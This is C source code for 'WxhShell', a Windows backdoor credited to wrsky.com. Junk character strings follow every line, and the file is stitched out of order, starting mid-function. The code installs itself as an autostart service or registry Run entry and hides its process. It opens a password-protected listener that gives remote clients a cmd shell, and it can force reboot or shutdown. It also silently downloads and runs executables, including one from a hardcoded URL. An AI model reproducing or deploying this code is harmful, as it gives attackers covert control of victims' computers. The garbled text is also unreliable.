    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $]I" ,ef  
    if(Boot(SHUTDOWN)) e(~Y!:Q#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kp>AZVk  
    else { 8iKupaaOX  
    closesocket(wsh); 6,:`esl  
    ExitThread(0); X0+M|8:   
    } 3oE3bBj  
    break; "u.4@^+i  
    } n&;-rj^qq  
  // 获取shell 8^)K|+_'m  
  case 's': { O}cg1Q8p  
    CmdShell(wsh); y jQpdO  
    closesocket(wsh); <lFQ4<"m  
    ExitThread(0); #`Gh8n#  
    break; Zg2F%f$Y  
  } /Q*cyLv  
  // 退出 m~U2 L  
  case 'x': { eHQ3K#M#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oNa*|CSE>  
    CloseIt(wsh); & GM&,  
    break; vddh 2G  
    } BBUXoz  
  // 离开 i=DoK{`L  
  case 'q': { \[F4ooe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ey**j  
    closesocket(wsh); qw mZOR#  
    WSACleanup(); o])2_e5  
    exit(1); F2k)hG*|{  
    break; jm$v0=W9#  
        } 5p5S_%R$e  
  } ?Rg8u  
  } B}A7Usm  
Bvy(vc=UDW  
  // 提示信息 q"%;),@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i3Q)$"S  
} FdVWj 5 $a  
  } +5C*i@v  
)Og,VXEB  
  return; '@Q aeFm  
} ecl$z6'c  
IsjD-t  
// shell模块句柄 \/ 8 V|E  
int CmdShell(SOCKET sock) Gkq<?q({t  
{ d}e/f)(  
STARTUPINFO si; 2gC.Z:}  
ZeroMemory(&si,sizeof(si)); tE>hj:p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KXy|Si8w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ob3Z I  
PROCESS_INFORMATION ProcessInfo; l|onH;g\  
char cmdline[]="cmd"; {V{*rq<)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;q6FdS  
  return 0; B\z4o\am%  
} SOPQg?'n=V  
%`Q<_LTU  
// 自身启动模式 -A A='s  
int StartFromService(void) Axtf,x+lH  
{ "0yO~;a  
typedef struct kb>/R/,9  
{ gbJz5EEq  
  DWORD ExitStatus; }\oy?_8~  
  DWORD PebBaseAddress; )^o7%KX  
  DWORD AffinityMask; QX$i ]y%S  
  DWORD BasePriority; ]/y&5X  
  ULONG UniqueProcessId; 3#@ETt0X(  
  ULONG InheritedFromUniqueProcessId; &bO0Rn1F  
}   PROCESS_BASIC_INFORMATION; ;v?!Pml2k  
Y)=89s&t  
PROCNTQSIP NtQueryInformationProcess; E'J| p7  
I 8 \Ka=w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a ykNH>#Po  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m+J3t @$  
2Hp#~cE+.  
  HANDLE             hProcess; ZxRD+`  
  PROCESS_BASIC_INFORMATION pbi; ZJxUv {J  
(|PxR#{l<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qq+fUfB2:  
  if(NULL == hInst ) return 0; b6k'`vLA  
v!pT!(h4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p^U:O&U(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2@ <x%T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8R6!SB  
-H%806NAX7  
  if (!NtQueryInformationProcess) return 0; u K`T1*_  
p6yC1\U!o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |W/_S^C  
  if(!hProcess) return 0; Rj|8l K;,  
;J[1S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4oF8F)ASj  
3PEv.hGx  
  CloseHandle(hProcess); ZMHb  
.cQ<F4)!tu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H?P:;1A]c  
if(hProcess==NULL) return 0; C NNyz$  
mGXjSWsd  
HMODULE hMod; ^]$x/1I;  
char procName[255];  wv2  
unsigned long cbNeeded; ( *(#;|m  
^fLePsmd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J/j?;qx]j  
]Xur/C2A  
  CloseHandle(hProcess); R18jju>Zr  
ov=[g l  
if(strstr(procName,"services")) return 1; // 以服务启动 Fvy__ qcHi  
n0T\dc~  
  return 0; // 注册表启动 aIv>X@U}  
} @}K'Ic  
McgTTM;E  
// 主模块 %r0yBK2uOp  
int StartWxhshell(LPSTR lpCmdLine) _91g=pM   
{ !po8[fz~x  
  SOCKET wsl; <|M cE  
BOOL val=TRUE; 0@yHT-Dy  
  int port=0; J>YwMl  
  struct sockaddr_in door; cp0@wC#d  
8Vkw vc  
  if(wscfg.ws_autoins) Install(); gsn3]^X  
$/aZ/O)F  
port=atoi(lpCmdLine); xq2{0q  
^G+1nY4? J  
if(port<=0) port=wscfg.ws_port; x?:[:Hf   
}jM&GH1  
  WSADATA data; /#z5bo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  eU"!X9  
 $&96qsr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0sv#* &0=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;^}gC}tq  
  door.sin_family = AF_INET; a a=GW%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Ii* "?s  
  door.sin_port = htons(port); dyRKmLb  
9pKN^FX,76  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JpEE'#r|  
closesocket(wsl); 6 s{~9  
return 1; U5]{`C0H?  
} CBA MAr  
]A:n]mL  
  if(listen(wsl,2) == INVALID_SOCKET) { C`z[25o  
closesocket(wsl); ')w:`8Tl  
return 1; !>g_9'n'  
} oZxC.;xJ  
  Wxhshell(wsl); Ll%CeP  
  WSACleanup(); 5Xu2MY=  
EX%KfWDr  
return 0; c(. 2D  
wRn]  
} [];*9vxW  
VLuhURI)  
// 以NT服务方式启动 >(s)S[\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 31 \l0Jg  
{ kh /n|2  
DWORD   status = 0; O(8Px  
  DWORD   specificError = 0xfffffff; 5:%xuJD  
~6z<tyD^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {OP[Rrm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sas}k7m"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7*8R:X+^r  
  serviceStatus.dwWin32ExitCode     = 0; m$ZPQ0X  
  serviceStatus.dwServiceSpecificExitCode = 0; DIH|6R  
  serviceStatus.dwCheckPoint       = 0; =7@N'xX  
  serviceStatus.dwWaitHint       = 0; {ZiJnJX  
*2ZX*w37  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5t`< KRz)I  
  if (hServiceStatusHandle==0) return; w yP|#Z\  
rmS.$h@7 m  
status = GetLastError(); n`Pwo &  
  if (status!=NO_ERROR) HV-c DL  
{ eAh~ `  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `LU[+F8<  
    serviceStatus.dwCheckPoint       = 0; Eg&xIyRmm  
    serviceStatus.dwWaitHint       = 0; -&JUg o=  
    serviceStatus.dwWin32ExitCode     = status; t{#B td  
    serviceStatus.dwServiceSpecificExitCode = specificError; FS7 _ldD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JsohhkJNGi  
    return; cRPW  
  } ;/w-7O:  
Q H:k5V~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _KBN  
  serviceStatus.dwCheckPoint       = 0; j^#4!Ue  
  serviceStatus.dwWaitHint       = 0; 9MQ!5Zn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S)T]>Ash  
} P,-f]k[_  
@sUYjB  
// 处理NT服务事件,比如:启动、停止 hh/C{ l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @>n7  
{ kR2kV"-l  
switch(fdwControl) DPCB=2E  
{ r(;sX  
case SERVICE_CONTROL_STOP: 0Q? XU.v  
  serviceStatus.dwWin32ExitCode = 0; ME"B1 Se\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n1+1/  
  serviceStatus.dwCheckPoint   = 0; ?.t naE  
  serviceStatus.dwWaitHint     = 0; ru#,pJ=O(  
  { p4QQ5O$;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -FRMal4Pg0  
  } |[apLQ6  
  return; h"Qp e'D}  
case SERVICE_CONTROL_PAUSE: eT33&:n4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Qe<XJH!  
  break; 77D>;90>?  
case SERVICE_CONTROL_CONTINUE: jFbj)!;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h3 -y}.VjG  
  break; ;}v#hKC~  
case SERVICE_CONTROL_INTERROGATE: "M#A `b  
  break; jdz]+Q`jq  
}; GCaiogiBg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m)l<2 `CM  
} B:Y"X:Y  
iNj*G j  
// 标准应用程序主函数 g\_J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |>_e& }Y%L  
{ oYOR%'0*m+  
T1,Nb>gBq^  
// 获取操作系统版本 i\~@2  
OsIsNt=GetOsVer(); NWnUXR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^3re*u4b=  
:;Z?2P5i  
  // 从命令行安装 J @eu ]?h  
  if(strpbrk(lpCmdLine,"iI")) Install(); F/gA[Y|,gI  
Kvx~2ZMx6  
  // 下载执行文件 I'6 wh+  
if(wscfg.ws_downexe) { Z:>)5Z{'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t}FwS6u  
  WinExec(wscfg.ws_filenam,SW_HIDE); =PU! hZj"L  
} mhh^kwW  
P/%5J3_,  
if(!OsIsNt) { yN-o?[o  
// 如果时win9x,隐藏进程并且设置为注册表启动 -rg >y!L  
HideProc(); 2F5*C  
StartWxhshell(lpCmdLine); %?<Y&t  
} i7rO 5<  
else p;#@#>h  
  if(StartFromService()) \ @XvEx%  
  // 以服务方式启动 B^|^hZZ>  
  StartServiceCtrlDispatcher(DispatchTable); `Vph=`0  
else CMu/n]?c  
  // 普通方式启动 ckDWY<@v  
  StartWxhshell(lpCmdLine); t`F<lOKj  
>|j8j:S[  
return 0; ^w|D^F=o  
} SZ$~zT;c  
K=Q<G:+&V  
Bs?B\k=  
dgbqMu"  
=========================================== -hy`Np  
%=w@c  
o2'^MxKb T  
'xK ,|U  
7-#R[8S  
IOL5p*:gz  
" V LXU  
K/T4T\  
#include <stdio.h> dZ6\2ok+  
#include <string.h> ]2zzY::Sd=  
#include <windows.h> d2\#Zlu<  
#include <winsock2.h> oGIh:n7 q+  
#include <winsvc.h> Nqy)jfyex  
#include <urlmon.h> le7!:4/8  
Z [[AmxE'l  
#pragma comment (lib, "Ws2_32.lib") T:<mme3v  
#pragma comment (lib, "urlmon.lib") }# cFr)4f  
8PRKSJ[@K  
#define MAX_USER   100 // 最大客户端连接数 @m`1Vq?O  
#define BUF_SOCK   200 // sock buffer y)//u:l  
#define KEY_BUFF   255 // 输入 buffer 77zfRSb+  
3'*}ZDC  
#define REBOOT     0   // 重启 $M:Ru@Du2  
#define SHUTDOWN   1   // 关机 $u"*n\k>  
"pA24Ze  
#define DEF_PORT   5000 // 监听端口 yb/v?q?Fk  
TyGsSc  
#define REG_LEN     16   // 注册表键长度 %f-Uwq&}Y"  
#define SVC_LEN     80   // NT服务名长度 {zNFp#z  
V;N'?Gu  
// 从dll定义API 7my7|s[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l|jb}9(J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i3dV2^O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cXDG(.!n7B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]y kMh  
=w,cdU*  
// wxhshell配置信息 KtMD?  
struct WSCFG { V#Pz `D  
  int ws_port;         // 监听端口 d,V]j-  
  char ws_passstr[REG_LEN]; // 口令 RCC~#bb  
  int ws_autoins;       // 安装标记, 1=yes 0=no bnZ`Wc*5b  
  char ws_regname[REG_LEN]; // 注册表键名 b<E0|VW  
  char ws_svcname[REG_LEN]; // 服务名 9JtPP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (~U1 X4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M[:},?ah0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [&MhAzF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hLo'q^mGr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B[IqLD'6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z*Lv!6WS  
h*lU&8)m\  
}; .E/NlGm[  
cedH#;V!j  
// default Wxhshell configuration ]"X} FU  
struct WSCFG wscfg={DEF_PORT, .dw;b~p  
    "xuhuanlingzhe", :k&5Z`>)  
    1, 1)N~0)dO  
    "Wxhshell", p=jIDM'  
    "Wxhshell", $ T2 n^yz  
            "WxhShell Service", n&fV^ x  
    "Wrsky Windows CmdShell Service", <&m `)FJ  
    "Please Input Your Password: ", HUWCCVn&  
  1, +cf.In,{  
  "http://www.wrsky.com/wxhshell.exe", <8sy*A?0z  
  "Wxhshell.exe" wK*b2r}0/  
    }; ;=i$0w9W  
au?5^u\  
// 消息定义模块 U/j+\Kc~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dk@j!-q^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .!2Ac  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \0bZ1"  
char *msg_ws_ext="\n\rExit."; mA" 82"   
char *msg_ws_end="\n\rQuit."; JANP_b:t  
char *msg_ws_boot="\n\rReboot..."; Xxmvg.Nl  
char *msg_ws_poff="\n\rShutdown..."; OE8H |?%  
char *msg_ws_down="\n\rSave to "; ^(.utO  
#- z(]Y,y  
char *msg_ws_err="\n\rErr!"; @'lO~i  
char *msg_ws_ok="\n\rOK!"; no UXRQ  
8 aC]" C  
char ExeFile[MAX_PATH]; qJ5gdID1_  
int nUser = 0; ptCAtEO72  
HANDLE handles[MAX_USER]; ;Y@"!\t}  
int OsIsNt; zKf.jpF^  
D  Kng.P  
SERVICE_STATUS       serviceStatus; )an,-EIX%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V+dFL9  
=7P(T`j  
// 函数声明 ^hIKDc!.m  
int Install(void); 4SGF8y@WU  
int Uninstall(void); t=6Wk4  
int DownloadFile(char *sURL, SOCKET wsh); SHt#%3EU  
int Boot(int flag); $@}\T  
void HideProc(void); ZnXq+^ Z4  
int GetOsVer(void); jPyhn8Vw  
int Wxhshell(SOCKET wsl); KX$Q`lM   
void TalkWithClient(void *cs); 'X]m y  
int CmdShell(SOCKET sock); 2I qvd  
int StartFromService(void); wJb"X=i*  
int StartWxhshell(LPSTR lpCmdLine); {z0PB] U  
M hJ;)(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EVE<LF?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }29Cm$p  
*s}j:fJ  
// 数据结构和表定义 r<XlIi  
SERVICE_TABLE_ENTRY DispatchTable[] = I]B[H6  
{ 0ofl,mXW  
{wscfg.ws_svcname, NTServiceMain}, cd?arIV5  
{NULL, NULL} Z`97=:W  
}; |@lVFEl]  
$"`9QD~  
// 自我安装 Mz:t[rfs  
int Install(void) r\f|r$i  
{ }RPeAcbU_  
  char svExeFile[MAX_PATH]; uL[%R2  
  HKEY key; :1(UC}v  
  strcpy(svExeFile,ExeFile); uom~, k$|  
/ar/4\b  
// 如果是win9x系统,修改注册表设为自启动 Kj`sq":Je0  
if(!OsIsNt) { /c9%|<O%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8QaF(?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J"W+9sI0  
  RegCloseKey(key); J`@#yHL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q oJ4w7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ze>Pg.k+  
  RegCloseKey(key); k w]m7 T  
  return 0; eH y.<VX  
    } i<]Y0_?s  
  } #&jr9RB  
} 9'S~zG%{  
else { Uk0]A  
d;c<" +  
// 如果是NT以上系统,安装为系统服务 kn1+lF@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A_\ZY0Xt  
if (schSCManager!=0) sJ(q.FRM'  
{ A[.5Bi  
  SC_HANDLE schService = CreateService D8I)3cXa'  
  ( W2 ([vRT  
  schSCManager, ok+-#~VTn  
  wscfg.ws_svcname, avI   
  wscfg.ws_svcdisp, @N0(%o&  
  SERVICE_ALL_ACCESS, {x8UL7{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $}/Q%r  
  SERVICE_AUTO_START, Q8sCI An{  
  SERVICE_ERROR_NORMAL, %=O$@.%Zc  
  svExeFile, Hxm CKW!  
  NULL, YvP u%=eF  
  NULL, gc6T`O-_;  
  NULL, 0XNj! ^&  
  NULL, T2$V5RyX  
  NULL .Iret :  
  ); )xMP  
  if (schService!=0) 8;r7ksE~  
  { Q, !b  
  CloseServiceHandle(schService); >5|;8v-r  
  CloseServiceHandle(schSCManager); x# &ZGFr~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); At#'q>Dn  
  strcat(svExeFile,wscfg.ws_svcname); rH<iUiA?O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $CY B&|d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8(Y=MW;g  
  RegCloseKey(key); [@_zsz,`L  
  return 0; I;!zZ.\  
    } jt/ |u=  
  } RL;>1Q,H  
  CloseServiceHandle(schSCManager); `xO&!DN  
} ]&D;'),   
} QhHexr6  
;%R+]&J  
return 1; `Y`QxU!d%  
} 6c/Tm0[  
A -dL_3  
// 自我卸载 H#joc0?P  
int Uninstall(void) @e/40l|X  
{ G)E#wh_S^  
  HKEY key; Y}C~&Ph  
x_3Zd  
if(!OsIsNt) { {=NHidi~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,6%{9oW9Z:  
  RegDeleteValue(key,wscfg.ws_regname); X|WAUp?  
  RegCloseKey(key); y&.[Nt '+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %joIe w]V3  
  RegDeleteValue(key,wscfg.ws_regname); Yjr6/&ML  
  RegCloseKey(key); `[+nz rLkO  
  return 0; y/}>)o4Q  
  } F;IG@ &  
} t7%!~s=,M  
} f'\NGL  
else { ?=]*r>a3  
Q(}TN,N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~!,Q<?  
if (schSCManager!=0) <p'~$vK  
{ 9%?'[jJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h69: Tj!  
  if (schService!=0) f(O`t}Ed  
  { @lau?@$ja  
  if(DeleteService(schService)!=0) { \sIRV}Tk}N  
  CloseServiceHandle(schService); Cz\(.MWNZ  
  CloseServiceHandle(schSCManager); $UZ4,S?V  
  return 0; 35;)O -  
  } gJVakR&  
  CloseServiceHandle(schService); T1y,L<7?  
  } J]f\=;z;<a  
  CloseServiceHandle(schSCManager); at/v.U |F  
} "=unDpq]  
} I54O9Aoy  
FRicHs n  
return 1; fWR]L47n  
} U=C8gVb{Hq  
H]. 4~ 8  
// 从指定url下载文件 :zC'jceO  
int DownloadFile(char *sURL, SOCKET wsh) N>OF tP  
{ nFl=D=50-  
  HRESULT hr; AcN~Q/xU  
char seps[]= "/";  {Y9m;b,X  
char *token; c 25wm\\  
char *file; X,/@#pSOz  
char myURL[MAX_PATH]; xw5E!]~D  
char myFILE[MAX_PATH]; v UAYYe  
4 []R?lL  
strcpy(myURL,sURL); U4_ <  
  token=strtok(myURL,seps); *HmL8c  
  while(token!=NULL) O,_2dj d  
  { NA`3   
    file=token; P'D~Y#^  
  token=strtok(NULL,seps); Y"mD)\Bw?  
  } =L$};ko  
J ,fXXi)J  
GetCurrentDirectory(MAX_PATH,myFILE); y @AKb  
strcat(myFILE, "\\"); C"/]X  
strcat(myFILE, file); N1I1!!$K;%  
  send(wsh,myFILE,strlen(myFILE),0); [Bp[=\  
send(wsh,"...",3,0); 5FHpJlFK,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $2F*p#l(<Z  
  if(hr==S_OK) eb:mp/  
return 0; :y'D] ,_  
else _tQ=ASe0  
return 1; {Gs&u>>R"^  
4yC{BRbi  
} VG'oy  
/D_8uTS>d[  
// 系统电源模块 Dd*T5A?  
int Boot(int flag) HPAg1bV:-  
{ -9{}rE  
  HANDLE hToken; Y}"|J ~  
  TOKEN_PRIVILEGES tkp; R,A|"Q  
p]:~z|.Ba  
  if(OsIsNt) { g~%=[1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~?aq=T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M~7?m/Wj  
    tkp.PrivilegeCount = 1; 3Fh<%<=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :*1Gs,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `4Z#/g  
if(flag==REBOOT) { 8&VwAo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L.15EXAB  
  return 0; 1uv"5`%s  
} hE!3kaS  
else { doXd6q4H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SV]M]CAe  
  return 0; _3T*[s;H  
} +=MO6}5T  
  } neQ2+W%oj  
  else { E]_lYYkA  
if(flag==REBOOT) { uavts9v<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7(~^6Ql!  
  return 0; 96vv85g  
} 3OFv_<6  
else { ;4F[*VF!w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <HG~#oBRq  
  return 0; Bw"L!sZ  
} !cnH|ePbI  
} (H+'sf^h  
5Zn3s()  
return 1; vsoj] R$C  
} [_qBp:_j?s  
Z|d_G}  
// win9x进程隐藏模块 ]-)qL[Q  
void HideProc(void) W1y,.6  
{ . xX xjl  
^k^%w/fo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b_Ba0h=  
  if ( hKernel != NULL ) I]Wb\&$  
  { )TyL3Z\>(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D2>EG~xWq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %dL|i2+*8  
    FreeLibrary(hKernel); "=| yM~V  
  } F f& VBm  
LjXtOF  
return; [ne4lWaE<y  
} -.g5|B  
d2.eDEOsC  
// 获取操作系统版本 f]5bAs  
int GetOsVer(void) ;'ts dsu}  
{ `"(7)T{  
  OSVERSIONINFO winfo; fXIeCn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >6ch[W5k@  
  GetVersionEx(&winfo); :":W(O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OU9=O>  
  return 1; 0+r/>-3]  
  else 4_t aCK  
  return 0; yYdXAenQ  
} gNLjk4H,S[  
X^9_'T9  
// 客户端句柄模块 pPh_p @3I  
int Wxhshell(SOCKET wsl) {(7. X4\x  
{ &r DOqj  
  SOCKET wsh; 66)@4 3V  
  struct sockaddr_in client; _BtlO(0&  
  DWORD myID; _V:D7\Gs  
S~/iH Xm  
  while(nUser<MAX_USER) 1Q?hskL  
{ %F&j B  
  int nSize=sizeof(client); g:;v]   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S3qUzK  
  if(wsh==INVALID_SOCKET) return 1; g"C$B Fc  
r7ywK9UL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tk}qvW.Ii  
if(handles[nUser]==0) ej%C<0/%n  
  closesocket(wsh); \~y>aYy  
else -zc9=n<5  
  nUser++; z^}T= $&  
  } #|$i H kVY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jz:d\M~j5  
s977k2pp-  
  return 0; lrq !}\aX  
} 2[M:WZ.1  
*GRhZ~U  
// 关闭 socket Ju+@ROZ  
void CloseIt(SOCKET wsh) yg\A&0I  
{ 8% 1hfj  
closesocket(wsh); ~01r c  
nUser--; ~ xf9 ml  
ExitThread(0); u0XGtu$4  
} c}v:X Slh7  
S8"X7\d{  
// 客户端请求句柄 b55|JWfC`  
void TalkWithClient(void *cs) 6Mk@,\1  
{ w0*6GCP  
8 (.<  
  SOCKET wsh=(SOCKET)cs; #C>pA<YJzK  
  char pwd[SVC_LEN]; 1uXtBk6  
  char cmd[KEY_BUFF]; Qr0JJoHT  
char chr[1]; JxD@y}ZYE  
int i,j; 'Fc&"(!||  
X% _~9'#%  
  while (nUser < MAX_USER) { 8<.KWr  
#v(+3Hp  
if(wscfg.ws_passstr) { iNQk{n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $(zJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZibHT:n  
  //ZeroMemory(pwd,KEY_BUFF); f4g(hjETbu  
      i=0; &LL81u6=S  
  while(i<SVC_LEN) { +p<Y)Z( >6  
/;.M$}Z>`  
  // 设置超时 P9%9/ B:-  
  fd_set FdRead; ]"CA P%  
  struct timeval TimeOut; mDV 2vg  
  FD_ZERO(&FdRead); ^Gd <miw  
  FD_SET(wsh,&FdRead); 9w0 ^=   
  TimeOut.tv_sec=8; n:<avl@o<  
  TimeOut.tv_usec=0; {v`wQM[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dr/!wr'&hS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {5%<@<? )  
`b7o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8o{ SU6pH  
  pwd=chr[0]; f "-<Z_  
  if(chr[0]==0xd || chr[0]==0xa) { w$B7..r  
  pwd=0; ;[9cj&7C<  
  break; Y$Uvt_  
  } 1km=9[;w'  
  i++; %0u7pk  
    } h/_z QR-  
1^Caz-  
  // 如果是非法用户,关闭 socket d[$1:V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^R<= }  
} y"9TS,lmK  
9Hc#[Ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9MXauTKI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8g0& (9<)  
5/*ZqrJw{"  
while(1) { }%XNB1/`  
'QW 0K]il  
  ZeroMemory(cmd,KEY_BUFF); }y[o[>  
6Jj)[ R\5=  
      // 自动支持客户端 telnet标准   ?_tOqh@in  
  j=0; #bdJ]v.n  
  while(j<KEY_BUFF) { 5Cz:$-+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~RMOEH.o  
  cmd[j]=chr[0]; Gu_s:cgB9F  
  if(chr[0]==0xa || chr[0]==0xd) { Y":hb;&  
  cmd[j]=0; `b%/.%]$  
  break; KY"~Ta`  
  } foJ|Q\Z,T  
  j++; #o^E1cI  
    } ;hZ(20  
#Ta@A~.L  
  // 下载文件 d+^4 ;Hv4  
  if(strstr(cmd,"http://")) { JTs.NY <z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fi,=z  
  if(DownloadFile(cmd,wsh)) 94lmsE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49kY]z|"w  
  else yNN2}\[.  
